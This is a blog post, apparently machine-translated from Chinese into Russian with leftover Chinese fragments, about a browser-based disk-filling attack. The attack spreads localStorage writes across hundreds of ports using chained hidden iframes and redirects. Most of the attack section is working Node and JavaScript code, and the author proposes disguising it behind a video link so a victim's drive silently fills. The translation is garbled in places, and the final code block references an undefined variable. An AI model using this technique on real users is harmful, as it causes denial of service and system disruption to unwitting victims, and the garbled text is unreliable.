В качестве фронтенда, насколько ловко вы можете сломать компьютер?

внешний интерфейс

Некоторые люди говорят, что границы интерфейса находятся в браузере.

Независимо от того, сколько ошибок вы вызовете, это в лучшем случае приведет к сбою браузера и мало повлияет на систему.
Это как всякие крутые разрушения мира во втором измерении, которые не приведут к концу света в третьем измерении.
Однако в качестве переднего плана я обнаружил, что есть способы открыть дверь в измерения...

У этого эксперимента большая дыра в мозгу и скучная мотивация, но в некотором смысле он отражает некоторыебезопасный вопрос.
Представьте, что однажды вы сидите дома в Интернете, едите горячее и поете песни.Нажимаю на ссылку, компьютер вдруг синий экран! Думать об этом немного волнующе.

причина

История должна начаться с localStorage.

Думаю, все знакомы с локальным хранилищем html5. В настоящее время широко используется локальное хранение данных в виде бинарных файлов.
В хроме под окнами localStorage хранится вC:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storageпапка. Однако, если веб-странице разрешено записывать файлы на неопределенный срок, можно представить себе повреждение жесткого диска пользователя, поэтому браузер накладывает на него ограничение по размеру.

Для доменного имени + порта верхний предел для ПК составляет от 5 до 10 млн, а для мобильной стороны — не более 2,5 млн.

Тогда вопрос становится:Достаточно ли таких ограничений для защиты жесткого диска пользователя??

Жизненноважный

Ключевой вопрос заключается в том, что это ограничение направлено на域名+端口.
То есть вы посещаете同一个域名的不同端口, их localStorage не связаны и хранятся отдельно.

Я просто запустил сервер с узлом, в это время доступ пользователяhttp://127.0.0.1:1000прибытьhttp://127.0.0.1:1099Эти 100 портов будут запрашивать одну и ту же страницу:index.html:

var http = require('http');
var fs = require('fs');
//100个端口
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //请忽略这种循环读文件的方式,只为了简便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type' : 'text/html; charset=UTF-8' });
        response.write(content);
        response.end();
      }
    });
  }).listen(port, '127.0.0.1');
}

Разумеется, в этом index.html задействована операция записи localStorage.

var s = "";
//慢慢来,别写太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);

Я пытался использовать браузер для доступа к нескольким портам соответственно, результат сохраняется отдельно. Все, как сценарий.

автоматический обход

Но этого уровня недостаточно.
Если вы хотите поэкспериментировать, чтобы стать лучше (се) играть (е) немного, возникает вопрос, как让用户自动遍历这些端口?

iframes - хорошая попытка.
как только вы откроетеhttp://127.0.0.1: 1000, Страница создаст iframe для запросаhttp://127.0.0.1: 1001, и цикл продолжается.

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);
      var port = parseInt(location.port)+1;
      if(port > _max) return;
      //新添加iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();

Конечно, мы также можем сделать iframe невидимым, чтобы скрыть это недобросовестное поведение...
Например, кто-то присылает вам ссылку, вы открываете ее, и это видео, и вы даже не замечаете, что за ним стоит сценарий, и через несколько минут после воспроизведения видео ваш диск C вот-вот заполнится.

И тут я вижу, что запросы идут потоком:

Однако, когда запрос идет на порт 1081, последний хром вылетает... Получается, что iframe слишком вложен, и он достиг предела возможностей браузера.

###Предотвращение сбоев браузера

С накопителем еще не полон, товарищи все еще нужно усердно работать. Как сделать?

Нам вдруг пришло в голову, что мы можем перенаправить до достижения предела iframe.
Для каждых 50 доступных портов используйтеwindow.location.hrefПеренаправьте один раз, чтобы убедиться, что браузер не зависает.

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //为避免iframe过多导致浏览器crash,每50个执行跳转
  return {
    init: function(){
      //慢慢来,别写太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);
      var port = parseInt(location.port)+1;
      if(port > _max) return;
      if(port % _jumpSpace == 0){
        //每50个,重定向一次
        window.location.href = url;
      }else{
        //新添加iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();

Факты доказали, что такая тяжелая работа действительно возможна.

Пока только в гостиhttp://127.0.0.1: 1000, он запишет почти 500 МБ бесполезных данных в папку локального хранилища:

Данные внутри такие:

Продолжайте экспериментировать с черной техникой

Забудьте об этом, на моем диске C еще есть место, тогда увеличьте количество портов со 100 до 200.
Результат таков, достигнув размера 1,17G.

В последующих экспериментах я постепенно увеличивал количество портов и хранимых данных.

Компьютеры также работают все медленнее и медленнее. Почему это?

Я заметил, что иногда выполнениеlocalStorage.setItem()После этого файлы данных могут быть не сразу видны в папке.
Сомневаюсь, что эти данные будут помещены в память сначала в CHROME, чтобы избежать повторения потребления, вызванного чтением и записью, а затем записью на жесткий диск во время простоя или закрытия.

Но в этот момент браузер уже повлиял на систему. Он находится в состоянии «не вылетает», но «препятствует нормальному использованию компьютера пользователя, так как занимает много памяти».
Даже если пользователь закроет окно браузера, в ближайшее время оно не восстановится. Имейте в виду, что задачи чтения и записи не прекращаются при закрытии окна, иначе браузер потеряет данные.

Единственное, что могут сделать люди, столкнувшиеся с черной техникой, это:

  1. ждать;
  2. Используйте диспетчер задач, чтобы закрыть процесс хрома, и снова подождите;
  3. Поверьте и попробуйте научное утверждение, что "перезагрузка компьютера решает 90% проблем с компьютером"

Можно сказать, что сердце браузера почти рухнуло.

наконец

В конце концов, я все же должен с серьезным лицом предупредить: без вредных намерений не обойтись.
Этот эксперимент с самого начала安全问题上交给国家的初衷сделать это (да, это так чисто).

Впоследствии, увидев, что на диске C все еще есть место 2G, я увеличил количество портов до 2000 и попробовал, что произойдет.
Так как запросов слишком много и это займет какое-то время, я займусь чем-то другим.
Когда я вернулся, то обнаружил, что комната была тихой и спокойной, красивой, с голубым светом, как трюк.

Так вот вопрос, какой из них лучше для ремонта компьютера?
в спешке, спешу...